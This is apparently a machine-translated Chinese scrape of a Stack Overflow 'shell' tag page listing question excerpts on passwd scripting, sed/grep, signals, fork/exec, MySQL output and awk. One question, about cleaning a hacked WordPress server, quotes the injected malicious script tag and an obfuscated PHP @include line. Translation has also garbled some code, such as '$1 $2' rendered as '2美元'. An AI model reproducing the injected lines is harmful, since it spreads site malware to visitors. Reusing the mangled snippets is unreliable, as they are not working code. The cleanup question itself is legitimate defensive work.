Questions tagged «shell»

术语“外壳”是指通常与Unix和Linux操作系统相关联的一类基于文本的交互式命令解释器。对于有关shell脚本的问题,请使用更具体的标签,例如'bash','powershell'或'ksh'。没有特定标签的情况下,应该假定使用便携式(符合POSIX的)解决方案,尽管最好另外使用“ posix”或“ sh”。

14
在shell脚本中使用passwd命令
我正在编写一个Shell脚本,以自动添加新用户并更新其密码。我不知道如何获取passwd来从shell脚本中读取,而不是交互式地提示我输入新密码。我的代码如下。 adduser $ 1 密码$ 1 2美元 2美元
70 linux  bash  unix  shell 

8
使用grep和sed查找和替换字符串
我正在使用以下内容以递归方式在目录中搜索特定的字符串,并将其替换为另一个: grep -rl oldstr path | xargs sed -i 's/oldstr/newstr/g' 这样可以。唯一的问题是,如果字符串不存在,则sed失败,因为它没有任何参数。这对我来说是个问题,因为我正在使用ANT自动运行此操作,并且由于sed失败而导致构建失败。 如果找不到该字符串,有没有办法使它失效? 我对我可以使用的单行简单解决方案感兴趣(不一定与grep或sed与此类通用unix命令一起使用)。
69 linux  shell  unix  sed  grep 

4
Ctrl-C如何终止子进程?
我试图了解CTRL+如何C终止子进程而不终止父进程。我在某些脚本外壳中看到了这种行为,例如bash可以在其中启动一些长时间运行的进程,然后通过输入CTRL-终止它,然后C控件返回到外壳。 您能解释一下它是如何工作的,尤其是为什么父(shell)进程不会终止? 外壳程序是否必须对CTRL+C事件做一些特殊处理,如果是,它到底是做什么的?
69 bash  shell  process  sh 


2
即使我暂停第一个命令(Ctrl-z),也要依次运行一个命令
我知道在bash中我可以通过用分号将它们分开来依次运行一个命令,例如 $ command1; command2 或者,如果我只想command2在command1成功的情况下运行,请使用&&: $ command1 && command2 这可以工作,但是如果我暂停command1使用Ctrl-z,则在第一种情况下,它将command2立即运行,而在第二种情况下,它根本不会运行。如何依次运行命令,但仍然能够挂起第一个命令,但是直到我重新启动它(使用fg)并完成后才能再次运行第二个命令?我希望输入的内容尽可能简单,因为我希望以交互方式进行输入。或者也许我只需要在某个地方设置一个选项。 顺便说一句,什么是正确的术语Ctrl-z?


2
bash中的fork和exec
如何在bash中实现fork和exec? 让我们假设脚本为 echo "Script starts" function_to_fork(){ sleep 5 echo "Hello" } echo "Script ends" 基本上,我希望该函数像在C语言中那样被称为新进程,我们使用fork和exec调用。 在脚本中,预期父脚本将结束,然后在5秒钟后打印“ Hello”。
68 linux  bash  scripting  shell 

2
获取不带表格式的sql查询结果
像--disable-column-namesoption一样,我们是否可以选择不使用表格式的sql查询? 例: mysql -u username -ppassword --disable-column-names --execute "select name from test" 结果如下: ----- | A | | B | | C | | D | ----- 是否可以使用以下某些sql程序选项修饰符来获得查询结果,[没有表格式] A B C D
68 mysql  sql  shell 

1
如何在Ubuntu启动时运行脚本?[关闭]
关闭。这个问题是题外话。它当前不接受答案。 想改善这个问题吗? 更新问题,使其成为Stack Overflow的主题。 8年前关闭。 改善这个问题 当系统在Ubuntu中启动时,我想在后台运行一些Java程序。我试图在/etc/init.d目录中添加脚本,但是无法启动程序。即程序未启动。我该怎么办?


7
如何使用sed或可能的grep替换整个字符串
因此,我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这一行代码添加到每个文件和数据库中 <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> 我确实使用grep通过grep搜索 grep -r "trasnaltemyrecords" /var/www/html/{*,.*} 我正在尝试将其替换为整个文件结构,sed并编写了以下命令。 sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php 我想先替换单个文件上的字符串index.php,所以我知道它可以工作。 而且我知道我的代码是错误的。请帮我解决一下这个。 我尝试使用@Eran的代码,它删除了整行,这很好,符合预期。但是,总的行话是这个 /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ 在删除所有内容的同时,我希望保留php开头标签<?php。 尽管@slybloty的解决方案很简单并且有效。 以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。 find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" -删除脚本行 find . -type f -name …
10 bash  shell  sed  grep 

3
使用NON GNU awk将修改保存到位
我遇到了一个问题(关于SO本身),OP必须在其中进行编辑并将操作保存到Input_file(s)本身中。 我知道对于一个Input_file我们可以执行以下操作: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file 现在让我们说我们需要以相同类型的文件格式进行更改(在此处假设.txt)。 我为这个问题尝试/想到的方法:它的方法是遍历.txt文件的for循环,并且调用singleawk是一个痛苦且不建议的过程,因为这将浪费不必要的cpu​​周期,并且对于更多数量的文件,它将更多慢。 因此,可以使用awk不支持inplace选项的NON GNU对多个文件执行就地编辑。我也经历了这个线程,用awk将修改保存到位,但对于NON GNU awk副工具和更改其内部的多个文件并没有多大作用awk,因为非GNU awk将没有inplace选择权。 注意:为什么要添加bash标签,因为在答案部分中,我已经使用bash命令将临时文件重命名为其实际的Input_file名称,因此添加了它。 编辑:根据Ed先生的评论,在此处添加了示例示例,尽管该线程代码的目的也可以由通用目的就地编辑使用。 样本输入文件: cat test1.txt onetwo three tets testtest cat test2.txt onetwo three tets testtest cat test3.txt onetwo three tets testtest 预期输出样本: cat test1.txt 1 2 cat …

3
如何在Tkinter中创建类似于IDLE的小型Python Shell?
我正在尝试通过Python Shell GUI进行控制。 唯一的是,我不知道如何制作整个输入/输出的东西。我只希望能够输入一个输入,执行python命令并给出python命令的输出。我知道IDLE是在Tkinter中制作的,所以它使用小部件? 它实际上只是一个“类型输入,显示输出”的东西。 我尝试搜索它,但似乎大多数结果与命令行有关,这不是我想要的。唯一与我完全一样的其他问题也不是我想的。我也尝试查找IDLE的源代码,但找不到我想要的东西。 我找到了一些适用于Linux的答案,但我使用的是Windows 10 ... 我需要将“ shell”放在Tkinter中,因为在屏幕的一侧会连接到命令输出。 有谁知道用来制作非常简单的Python shell的小部件?
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.